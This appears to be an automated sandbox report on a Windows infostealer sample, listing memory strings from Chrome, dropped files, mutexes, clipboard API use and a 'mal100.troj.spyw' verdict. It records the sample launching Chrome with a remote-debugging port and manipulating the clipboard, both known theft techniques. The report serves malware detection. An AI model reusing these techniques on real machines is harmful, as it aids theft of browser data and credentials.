Source: chrome.exe, 00000005.00000002.1957802381.000007380080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1962879905.0000073800FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957676235.00000738007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000005.00000002.1957802381.000007380080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1962879905.0000073800FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957676235.00000738007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000005.00000003.1914817190.0000433C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000005.00000002.1964765038.0000433C00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000005.00000002.1966563267.0000433C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1914945839.0000433C00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1914817190.0000433C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000005.00000002.1964765038.0000433C00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardC
Source: chrome.exe, 00000005.00000002.1966563267.0000433C00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1914945839.0000433C00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1914817190.0000433C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000005.00000002.1966366191.0000433C00904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000005.00000003.1914817190.0000433C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000005.00000002.1955811790.00000738004C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000005.00000003.1915367910.0000433C00878000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000005.00000003.1914817190.0000433C0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000005.00000002.1966427916.0000433C00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000005.00000002.1966427916.0000433C00920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000005.00000002.1965990963.0000433C008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000005.00000002.1953780586.00000738000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000005.00000002.1953780586.00000738000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960316906.0000073800C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000005.00000002.1953780586.00000738000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000005.00000002.1953780586.00000738000EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960316906.0000073800C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000005.00000002.1962463332.0000073800F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957586318.000007380075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956439169.0000073800514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000005.00000002.1957488208.0000073800730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957287688.00000738006BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956633120.0000073800548000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958087211.0000073800878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000005.00000002.1956633120.0000073800548000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1955587552.000007380040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958087211.0000073800878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000005.00000002.1962436379.0000073800F08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958087211.0000073800878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1959226275.0000073800A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000005.00000002.1957623184.00000738007A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1963207323.0000073801114000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1963175959.00000738010FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000005.00000002.1961215073.0000073800DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000005.00000002.1961215073.0000073800DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000002.1961215073.0000073800DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1961118059.0000073800D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000005.00000002.1961215073.0000073800DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000005.00000002.1961215073.0000073800DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000005.00000002.1961215073.0000073800DC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1961118059.0000073800D98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000005.00000002.1961215073.0000073800DC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1959226275.0000073800A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000005.00000003.1930585121.0000073801150000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930331068.0000073800450000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000005.00000002.1959226275.0000073800A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000005.00000002.1953439866.0000073800078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000005.00000002.1953706677.00000738000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000005.00000002.1957802381.000007380080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1962879905.0000073800FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957676235.00000738007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000005.00000002.1957802381.000007380080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1962879905.0000073800FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957676235.00000738007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000005.00000002.1959171417.0000073800A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000005.00000002.1960128689.0000073800C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000005.00000002.1960128689.0000073800C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000005.00000002.1960128689.0000073800C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957586318.000007380075C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000005.00000002.1960455536.0000073800CD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000005.00000002.1955412535.00000738003C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000005.00000002.1957905844.000007380081C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Chary
Source: chrome.exe, 00000005.00000002.1962879905.0000073800FE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960266771.0000073800C6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000005.00000002.1963175959.00000738010FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1962298185.0000073800ECC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Source: chrome.exe, 00000005.00000002.1962298185.0000073800ECC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0l
Source: chrome.exe, 00000005.00000002.1963280869.0000073801134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000005.00000002.1963280869.0000073801134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos8
Source: chrome.exe, 00000005.00000002.1957905844.000007380081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958629416.0000073800958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000005.00000002.1957905844.000007380081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954422655.00000738001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1958629416.0000073800958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000005.00000002.1958737245.0000073800984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000005.00000002.1957586318.000007380075C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956957832.00000738005E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1956439169.0000073800514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1959869227.0000073800B88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000005.00000002.1956957832.00000738005E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000005.00000003.1930664042.000007380120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000005.00000002.1959226275.0000073800A58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000005.00000002.1953107373.000007380001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000005.00000002.1957025746.000007380060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000005.00000002.1957174738.0000073800654000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1954503252.000007380020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000005.00000002.1956327418.00000738004E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000005.00000002.1961081967.0000073800D84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000005.00000002.1960094690.0000073800C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/H
Source: chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000005.00000002.1960231549.0000073800C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957488208.000007380073E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000002.1957211617.000007380068C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: chrome.exe, 00000005.00000002.1960231549.0000073800C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmlA

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C7B9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,

9_2_6C7B9C22

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		9_2_6C7B9C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard,		9_2_6C7B9D11

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_6C7B9E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_6C7B9E27

System Summary

Drops large PE files

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

File dump: service123.exe.0.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: kGxQbLOG7s.exe	Static PE information: section name:
Source: kGxQbLOG7s.exe	Static PE information: section name: .idata
Source: kGxQbLOG7s.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_004851B0	9_2_004851B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_00483E20	9_2_00483E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E2CCE	9_2_6C7E2CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7ACD00	9_2_6C7ACD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7AEE50	9_2_6C7AEE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B0FC0	9_2_6C7B0FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F0AC0	9_2_6C7F0AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B44F0	9_2_6C7B44F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E46E0	9_2_6C7E46E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E07D0	9_2_6C7E07D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7D87C0	9_2_6C7D87C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F0060	9_2_6C7F0060
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E2090	9_2_6C7E2090
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7D2360	9_2_6C7D2360
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7FDC70	9_2_6C7FDC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7D98F0	9_2_6C7D98F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B5880	9_2_6C7B5880
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E7A20	9_2_6C7E7A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EDBEE	9_2_6C7EDBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E140E	9_2_6C7E140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F1510	9_2_6C7F1510
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EF610	9_2_6C7EF610
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7CF760	9_2_6C7CF760
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8650D0	9_2_6C8650D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7A3000	9_2_6C7A3000
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7B70C0	9_2_6C7B70C0

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C873B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C873560 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C875980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C875A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C873820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C8736E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: String function: 6C86ADB0 appears 49 times

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 1772

Source: kGxQbLOG7s.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: kGxQbLOG7s.exe

Static PE information: Section: pggsbtrm ZLIB complexity 0.9943395699213161

Source: kGxQbLOG7s.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/7@16/5

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

File created: C:\Users\user\AppData\Local\zBgetxaCVe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:748:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Mutant created: \Sessions\1\BaseNamedObjects\uwwcACVDotPKkwKQKpzK
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1912
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

File created: C:\Users\user\AppData\Local\Temp\service123.exe

Jump to behavior

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: chrome.exe, 00000005.00000002.1957319798.00000738006E2000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));

Source: kGxQbLOG7s.exe

ReversingLabs: Detection: 65%

Source: unknown	Process created: C:\Users\user\Desktop\kGxQbLOG7s.exe "C:\Users\user\Desktop\kGxQbLOG7s.exe"
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2332,i,5809787163742602357,12593231709092399536,262144 /prefetch:8
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
